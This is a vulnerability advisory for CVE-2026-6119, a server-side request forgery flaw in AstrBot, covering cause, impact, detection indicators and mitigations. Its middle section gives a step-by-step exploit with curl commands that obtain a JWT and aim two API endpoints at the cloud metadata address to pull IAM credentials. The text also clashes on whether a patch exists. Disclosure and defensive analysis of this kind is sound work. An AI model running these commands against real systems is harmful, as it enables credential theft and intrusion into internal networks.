CVE-2026-6119: 
AstrBot vulnerability analysis and mitigation

CVE-2026-6119 is a Server-Side Request Forgery (SSRF) vulnerability affecting AstrBotDevs AstrBot versions up to and including 4.22.1. The flaw resides in the post_data.get function of multiple API endpoints, which accept user-controlled URLs or proxy parameters without validation. Discovered on March 26, 2026, and reported via a GitHub issue on March 30, 2026, it was published to the NVD and GitHub Advisory Database on April 12, 2026. It carries a CVSS v3.1 base score of 6.3 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (Github Advisory, AstrBot Issue).

The root cause is CWE-918 (Server-Side Request Forgery): multiple API endpoints pass user-supplied URL or proxy parameters directly to aiohttp.ClientSession HTTP requests without any validation of private IP ranges (RFC 1918), loopback addresses, link-local addresses (169.254.x.x), or URL scheme restrictions. The four affected endpoints are POST /api/plugin/install (parameter: proxy), POST /api/stat/test-ghproxy-connection (parameter: proxy_url), POST /api/update/do (parameter: proxy), and POST /api/kb/document/upload/url (parameter: url). Exploitation requires a valid JWT token (low-privilege authenticated access), after which an attacker can supply an arbitrary URL to any of these endpoints to cause the server to make outbound HTTP requests to attacker-specified destinations. A public proof-of-concept demonstrating successful SSRF to loopback addresses was included in the original issue report (AstrBot Issue).

A low-privilege authenticated attacker can leverage this vulnerability to make the AstrBot server issue arbitrary HTTP requests to internal network resources, including cloud instance metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/ for AWS IAM credential theft), internal databases, caches, and admin panels not exposed to the internet. This enables internal network scanning, lateral movement to backend services, and potential exfiltration of sensitive data from internal APIs. Confidentiality, integrity, and availability are all assessed as low impact in the CVSS scoring, though real-world exploitation targeting cloud metadata services could result in significant credential compromise (AstrBot Issue, Github Advisory).

A proof-of-concept was included in the original GitHub issue report and is publicly available, demonstrating successful SSRF via the plugin install proxy and GHProxy connection test endpoints against AstrBot 4.22.1. The EPSS score is approximately 0.015% (4th percentile), indicating a low current probability of exploitation in the wild. No active in-the-wild exploitation or threat actor attribution has been reported, and the vulnerability is not listed in the CISA KEV catalog. The CVSSv4 exploit maturity is rated as "Proof of Concept" (Github Advisory, AstrBot Issue).

1. Obtain credentials: Acquire valid AstrBot credentials (default or otherwise) to authenticate against the dashboard API at http://<target>:6185/api/auth/login.
2. Retrieve JWT token: Send a POST request with username and password to obtain a JWT bearer token:

   TOKEN=$(curl -s -X POST http://<target>:6185/api/auth/login -H "Content-Type: application/json" -d '{"username":"astrbot","password":"<password>"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")

3. Set up a listener: Start an HTTP listener on an attacker-controlled host or internal address to capture SSRF-triggered requests:

   python3 -m http.server 18999

4. Trigger SSRF via GHProxy test endpoint: Send a crafted POST request with an attacker-controlled proxy_url:

   curl -s -X POST http://<target>:6185/api/stat/test-ghproxy-connection -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"proxy_url":"http://169.254.169.254/latest/meta-data/"}'

5. Trigger SSRF via plugin install endpoint: Alternatively, use the plugin install proxy parameter:

   curl -s -X POST http://<target>:6185/api/plugin/install -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"url":"https://github.com/test/testrepo","proxy":"http://169.254.169.254"}'

6. Exfiltrate data: Review the server's HTTP response or listener logs to extract internal resource content, such as cloud IAM credentials or internal service responses (AstrBot Issue).

• Network: Outbound HTTP requests from the AstrBot server process to RFC 1918 addresses (10.x.x.x, 172.16-31.x.x, 192.168.x.x), loopback (127.0.0.1), or cloud metadata IP (169.254.169.254); unusual aiohttp User-Agent requests to internal endpoints.
• Logs: AstrBot access logs showing POST requests to /api/plugin/install, /api/stat/test-ghproxy-connection, /api/update/do, or /api/kb/document/upload/url with suspicious proxy, proxy_url, or url parameter values pointing to internal addresses.
• Process: The AstrBot Python process (aiohttp.ClientSession) initiating connections to unexpected internal hosts or metadata services.
• File System: Presence of /tmp/ssrf_proof.txt or similar artifacts if an attacker ran the PoC listener locally on the server (AstrBot Issue).

Users should upgrade AstrBot to a version beyond 4.22.1, as a patch has been confirmed available (Github Advisory). As a workaround, implement network-level controls to block the AstrBot server from making outbound requests to RFC 1918 private IP ranges, loopback addresses, and cloud metadata endpoints (169.254.169.254). The issue reporter recommends adding server-side URL validation that restricts schemes to http:// and https://, resolves DNS before connection, verifies resolved IPs are globally routable, and validates proxy parameters against a trusted allowlist. Additionally, apply the principle of least privilege to service accounts running AstrBot and monitor API endpoint activity for anomalous requests (AstrBot Issue).

The vulnerability was reported by researcher "August829" via a detailed GitHub issue on March 30, 2026, labeled priority: p0 by the AstrBot maintainers, though no public response or patch acknowledgment from the project had been issued at the time of CVE publication. The GitHub Advisory Database classified it as "Moderate" severity. The CVE was noted on social media aggregators including Bluesky and Nitter shortly after publication, with standard automated CVE tracking coverage.